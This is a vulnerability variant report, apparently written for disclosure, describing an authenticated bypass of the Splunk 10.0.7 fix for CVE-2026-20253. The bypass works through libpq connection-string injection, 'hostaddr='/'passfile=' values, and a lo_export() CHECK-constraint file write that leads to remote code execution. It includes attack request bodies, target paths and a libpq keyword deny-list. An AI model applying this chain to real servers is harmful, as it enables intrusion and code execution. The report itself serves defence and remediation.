# Variant RCA Report — CVE-2026-20253 (SVD-2026-0603)

## Summary

A confirmed bypass of the Splunk Enterprise 10.0.7 fix for CVE-2026-20253 was identified. The fix added
authentication on the PostgreSQL sidecar's `/v1/postgres/recovery/{backup,restore}` endpoints (at both
the Splunk Web proxy layer and the sidecar binary itself) and changed the `backupFile` parameter (which
accepted an arbitrary absolute file path) to `backupName` (validated as a filename only, not a path).
However, the fix did **not** sanitize the `database` parameter, which is still passed as a raw libpq
connection string to `pg_dump`/`pg_restore`. An authenticated attacker (any valid Splunk session token)
can exploit this to: (1) redirect `pg_dump` at an attacker-controlled Postgres via `hostaddr=<ip>` to
dump a malicious database containing a PL/pgSQL `lo_export()` payload, (2) redirect `pg_restore` at the
local Splunk Postgres as the `postgres_admin` superuser via `passfile=<.pgpass>` + `dbname=template1`,
(3) fire the `lo_export()` via a `CHECK` constraint during restore to write attacker-controlled bytes to
an arbitrary path, and (4) overwrite a default-enabled modular-input script that the Splunk scheduler
then executes as the `splunk` user — achieving full remote code execution on the **fixed** build with
the same impact as the original unauthenticated CVE. This was verified end-to-end on
`splunk/splunk:10.0.7` with the marker `/tmp/pwned/MARKER` showing `uid=41812(splunk)`.

## Fix Coverage / Assumptions

**What the fix relies on (the invariant):**
The fix assumes that enforcing authentication on the backup/restore endpoints and restricting the file
path parameter (`backupFile` → `backupName`, filename-only) is sufficient to prevent arbitrary file
operations. It assumes that an authenticated user calling these endpoints with a legitimate `database`
value (a local database name) cannot achieve arbitrary file write.

**What the fix explicitly covers:**
1. **Authentication enforcement** — Both the Splunk Web proxy (port 8000) and the sidecar binary
   (`postgres_nanny` on localhost) now return `401 "Authorization header must use Splunk token"` for
   unauthenticated requests to `/v1/postgres/recovery/backup` and `/v1/postgres/recovery/restore`.
   Verified: direct access to the sidecar on localhost:39411 also returns 401.
2. **File path validation** — The `backupName` parameter is validated server-side: requests with path
   separators (`../../tmp/foo`, `/tmp/foo`) are rejected with `400 "backupName must be a filename, not
   a path"`. The old `backupFile` parameter is silently ignored (the server generates its own
   `backupName`).
3. **Backup file directory containment** — Backup files are written to
   `/opt/splunk/var/packages/data/postgres/db/backups/` with server-generated names; the attacker
   cannot control the output path through the API.

**What the fix does NOT cover:**
1. **The `database` parameter is not sanitized** — It is passed verbatim as a libpq connection string
   to `pg_dump` (backup) and `pg_restore` (restore). The attacker can inject:
   - `hostaddr=<attacker-ip>` to redirect `pg_dump` to an attacker-controlled Postgres (confirmed:
     `BackupComplete` on 10.0.7 when the attacker PG has the expected role)
   - `passfile=<.pgpass>` + `dbname=template1` to redirect `pg_restore` to the local Splunk Postgres
     as the `postgres_admin` superuser using the on-disk `.pgpass` credential (confirmed:
     `RestoreComplete` on 10.0.7)
2. **`lo_export()` file write via CHECK constraint** — The malicious database content (PL/pgSQL
   function + CHECK constraint) is loaded during `pg_restore` and fires `lo_export()` to write
   attacker-controlled bytes to an arbitrary path. The path is in the database content, not in the
   API parameter, so the `backupName` validation does not prevent it.
3. **Read-only endpoints bypass auth** — `/v1/postgres/recovery/status/*` (GET, returns 500 not 401),
   `/service/info/specs/v1/openapi.json` (GET, returns 200), `/v1/postgres/telemetry` (GET, returns
   200 with PostgreSQL query results), and `/v1/postgres/health` (GET, returns 200) are all accessible
   without authentication on the fixed build. These are information-disclosure issues but do not
   directly enable file write.

## Variant / Alternate Trigger

**Bypass type:** Authenticated variant of the same root cause (unsanitized `database` connection string
→ `pg_restore` → `lo_export` → arbitrary file write → RCE).

**Entry point:** `POST /en-US/splunkd/__raw/v1/postgres/recovery/backup` and
`POST /en-US/splunkd/__raw/v1/postgres/recovery/restore` on Splunk Web (port 8000), authenticated with
a valid Splunk session token (`Authorization: Splunk <token>`).

**Code path:**
- `postgres-service/internal/postgres/postgres_recovery_manager.go` — `InMemoryRecoveryManager.backup()`
  (line 181) and `.restore()` (line 200): build `pg_dump`/`pg_restore` command lines using the raw
  `database` field from the request body as the libpq connection string.
- `postgres-service/api/server.go` — auth middleware checks for Splunk token on backup/restore (line
  225: `writeErrorResponse`); `backupName` validation (filename-only).
- The `database` parameter flows: HTTP request body → `InMemoryRecoveryManager` → `pg_dump -Fc
  <database>` / `pg_restore -d <database>` → libpq connection string parsing → `hostaddr=`/`passfile=`
  injection.

**Attack chain (authenticated, on FIXED 10.0.7):**
1. Authenticate: `POST https://<splunk>:8089/services/auth/login` with `username=admin&password=<pw>`
   → obtain session key.
2. Backup: `POST .../recovery/backup` with `Authorization: Splunk <token>` and
   `{"database":"hostaddr=<attacker-ip> dbname=testdb"}` → sidecar runs `pg_dump` against the
   attacker's Postgres, dumping a malicious database (containing `pwn()` PL/pgSQL function with
   `lo_export()` + `CHECK` constraint + trigger row) to a server-managed backup file → `BackupComplete`.
3. Restore: `POST .../recovery/restore` with
   `{"database":"dbname=template1 passfile=<.pgpass>","backupName":"<from step 2>"}` → sidecar runs
   `pg_restore` against the local Splunk Postgres as `postgres_admin` superuser (via `.pgpass`) →
   CHECK constraint fires `pwn()` → `lo_export()` writes attacker Python to
   `/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py`.
4. RCE: Splunk's modular-input scheduler (`[ssg_enable_modular_input://default]`, `disabled=0`,
   `interval=60`) executes the overwritten script as the `splunk` user within ~30 seconds.

## Impact

- **Package / component affected:** Splunk Enterprise, `splunkd` component — the PostgreSQL sidecar
  service (`postgres_nanny` / `postgres-service` Go binary, version `8a372c04-20260422t100430`) and
  the Splunk Web reverse proxy.
- **Affected versions (as tested):** `splunk/splunk:10.0.7` (the FIXED build). The same `database`
  parameter injection exists on the vulnerable build (10.0.6) as well, where it is exploitable
  unauthenticated.
- **Risk level / consequences:** Critical. An authenticated Splunk user (any valid session token,
  including low-privilege) can achieve arbitrary file write and remote code execution as the `splunk`
  user on the Splunk server. This is a privilege escalation from authenticated user to server-side
  code execution. If any other vulnerability allows obtaining a Splunk token without credentials
  (or if default/weak credentials are in use), the chain becomes effectively unauthenticated.

## Impact Parity

- **Disclosed/claimed maximum impact (parent CVE):** Unauthenticated arbitrary file creation/truncation
  → arbitrary content file write via `lo_export` → RCE as the `splunk` user (CVSS 9.8).
- **Reproduced impact from this variant run:** Authenticated arbitrary content file write via
  `lo_export` → RCE as the `splunk` user (`uid=41812(splunk) gid=41812(splunk) groups=41812(splunk),
  999(ansible)`).
- **Parity:** `full` — the same file-write primitive and RCE impact as the original CVE, confirmed on
  the fixed build. The only difference is the authentication requirement.
- **Not demonstrated:** Post-exploitation root escalation (out of scope, same as the original CVE).

## Root Cause

The root cause is the same as the original CVE: the `InMemoryRecoveryManager.backup()` and `.restore()`
methods in `postgres-service/internal/postgres/postgres_recovery_manager.go` build `pg_dump`/`pg_restore`
command lines using the HTTP request's `database` field as a raw libpq connection string, without
sanitizing or restricting it. The fix in 10.0.7 addressed two of the three attacker-controlled fields:
- `backupFile` → `backupName` (path → filename, validated) ✅
- Authentication added on backup/restore ✅
- `database` connection string injection — **NOT addressed** ❌

The `database` parameter still allows:
- `hostaddr=<ip>` — overrides the default `-h localhost`, redirecting `pg_dump`/`pg_restore` to an
  attacker-controlled Postgres
- `passfile=<path>` — specifies a `.pgpass` credential file, allowing `pg_restore` to authenticate as
  the `postgres_admin` superuser against the local Splunk Postgres
- `dbname=<name>` — selects which database to connect to

Because the `lo_export()` target path is embedded in the attacker's PL/pgSQL function (inside the
dumped database content), the `backupName` filename validation does not prevent the arbitrary file
write — the file path is not in the API parameter, it is in the database content loaded during restore.

No public git fix commit is available (Splunk Enterprise is closed-source). The fix is observed
behaviorally in the `splunk/splunk:10.0.7` image. The sidecar source path is
`postgres-service/internal/postgres/postgres_recovery_manager.go`.

## Reproduction Steps

1. **Script:** `bundle/vuln_variant/reproduction_steps.sh` (self-contained, idempotent).
2. **What it does:**
   - Pulls `splunk/splunk:10.0.7` (fixed, bypass target), `splunk/splunk:10.0.6` (vulnerable control),
     and `postgres:16-alpine` (attacker DB).
   - Creates a Docker network and an attacker-controlled Postgres with a malicious database containing
     both `pwn()` (overwrites modular-input script) and `pwn_variant()` (writes marker file) PL/pgSQL
     functions, each embedded in a `CHECK` constraint, plus the `postgres_admin` role (needed because
     the fixed sidecar uses `postgres_admin` as the `-U` user).
   - Starts the FIXED Splunk 10.0.7, authenticates, verifies the fix blocks unauthenticated access
     (401 negative control), then runs the authenticated variant chain: backup malicious DB via
     `hostaddr=` injection → restore via `passfile=` injection → checks for the marker file
     (`/tmp/variant_bypass_proof.txt`) and the RCE marker (`/tmp/pwned/MARKER`).
   - Starts the VULNERABLE Splunk 10.0.6 as a control and verifies unauthenticated access works.
3. **Expected evidence of reproduction:**
   - `vuln_variant/variant_bypass_proof.txt` — "CVE-2026-20253 VARIANT BYPASS CONFIRMED / File written
     via lo_export on FIXED 10.0.7 build"
   - `vuln_variant/variant_rce_marker.txt` — "CVE-2026-20253 VARIANT RCE on FIXED 10.0.7 /
     uid=41812(splunk) gid=41812(splunk)..."
   - `artifacts/http/variant_backup_resp.json` — `state: BackupComplete` on fixed build
   - `artifacts/http/variant_restore_resp.json` — restore initiated on fixed build
   - `artifacts/http/variant_fixed_unauth_control.txt` — `fixed_unauth_http=401` (fix blocks unauth)
   - `artifacts/http/ssg_enable_modular_input.FIXED_AFTER_VARIANT.py` — 3-line attacker payload
     (vs. 83-line original)
   - `logs/vuln_variant/variant_reproduction.log` — full run transcript
4. **Verified:** Script exits 0 on two consecutive runs (idempotent). All variant steps pass: negative
   control (401), backup (BackupComplete), file write (marker exists), RCE (uid=splunk).

## Evidence

- **Run log:** `bundle/logs/vuln_variant/variant_reproduction.log`
- **Variant bypass proof:** `bundle/vuln_variant/variant_bypass_proof.txt`
- **RCE marker:** `bundle/vuln_variant/variant_rce_marker.txt`
- **HTTP artifacts:** `bundle/artifacts/http/` (backup/restore responses, auth controls, before/after
  modular-input script)
- **Sidecar log excerpts** (captured during interactive analysis):
  - Backup success: `"starting postgres backup", "database":"hostaddr=172.x.x.x dbname=testdb"` →
    `"postgres backup completed successfully"`
  - Restore: `"starting postgres restore", "database":"dbname=template1 passfile=.../.pgpass"` →
    `pg_restore: processing data for table "public.pwn"` / `pg_restore: processing BLOBS` /
    `pg_restore: restored 2 large objects` / `pg_restore: warning: errors ignored on restore: 12`
  - The `lo_export()` side effect fires during `pg_restore` data load before `pg_restore` exits 1
    (non-fatal `--clean` DROP errors and `ALTER ... OWNER TO test` errors).
- **Environment:**
  - Fixed (bypass target): `splunk/splunk:10.0.7` (image SHA
    `sha256:e47c0e002bd7f9f0ac38dd32a121ee542ab8b98c8042999ea64437be48e24d4b`)
  - Vulnerable (control): `splunk/splunk:10.0.6` (image SHA
    `sha256:f3c444ec113bba9456e4ac0879d92503072f3b09721bef97a19637954328d6fd`)
  - Attacker DB: `postgres:16-alpine` with trust auth + malicious `testdb`
  - Topology: Docker network `splunknet_variant`; remote attacker container sends HTTP to
    `splunk-fixed-v:8000` over the network

## Recommendations / Next Steps

- **Sanitize the `database` parameter** — The fix must validate that `database` is a simple database
  name (alphanumeric + underscore), not a libpq connection string. Reject any value containing
  spaces, `=`, `hostaddr`, `host`, `passfile`, `sslmode`, or other libpq keyword parameters. This
  is the core gap that enables the variant bypass.
- **Restrict `pg_dump`/`pg_restore` to localhost** — Even if the `database` parameter is sanitized,
  enforce `-h 127.0.0.1` and do not allow `hostaddr`/`host` to override it. The sidecar should
  connect only to the local Splunk Postgres, not to arbitrary external hosts.
- **Do not source the `-U` user from the Authorization header** — Use a fixed service account for
  `pg_dump`/`pg_restore` rather than deriving the Postgres user from the client's auth header.
- **Remove `.pgpass` superuser credential exposure** — The `passfile` parameter should not be
  injectable. The sidecar should use its own internal credential, not allow the caller to specify
  an arbitrary `.pgpass` path.
- **Cover read-only endpoints with auth** — The `status`, `openapi.json`, `telemetry`, and `health`
  endpoints are accessible without authentication on the fixed build. While they don't enable file
  write, they leak PostgreSQL internals (telemetry returns query results) and the full API spec.
- **Regression tests** — Add tests that an authenticated user cannot redirect `pg_dump`/`pg_restore`
  to an external host or inject `passfile=`/`hostaddr=` via the `database` parameter.

## Additional Notes

- **Idempotency:** `reproduction_steps.sh` removes prior `attacker-pg-v`/`splunk-vuln-v`/`splunk-fixed-v`
  containers and the `splunknet_variant` network at startup. Verified to pass end-to-end (exit 0) on
  two consecutive runs.
- **`postgres_admin` role requirement:** The fixed sidecar uses `postgres_admin` as the `-U` user for
  `pg_dump`/`pg_restore` (derived from the Splunk token's associated user or a default). The attacker's
  Postgres must have a `postgres_admin` role (created with `CREATE ROLE postgres_admin WITH LOGIN
  SUPERUSER`). With trust auth, any role name is accepted.
- **Restore "failure" is cosmetic:** `pg_restore` exits 1 due to non-fatal `--clean` DROP errors
  (objects don't exist yet) and `ALTER ... OWNER TO test` errors (the `test` role doesn't exist
  locally), but the `lo_export()` side effect fires during data load *before* `pg_restore` exits.
  The variant verifies the file-content outcome rather than trusting the restore status.
- **Trust boundary:** The original CVE crossed the trust boundary from unauthenticated network
  attacker to server-side RCE. This variant crosses from authenticated user (any valid Splunk
  credentials) to server-side RCE — a privilege escalation. The `database` parameter injection is
  the same root cause in both cases. An authenticated low-privilege Splunk user should not be able
  to write arbitrary files or execute arbitrary code via the backup/restore endpoints.
- **`backupName` vs `backupFile`:** The fix correctly prevents the attacker from controlling the
  backup file *path* through the API. However, the `lo_export()` target path is in the *database
  content* (the PL/pgSQL function body), not in the API parameter, so `backupName` validation does
  not prevent the arbitrary file write.
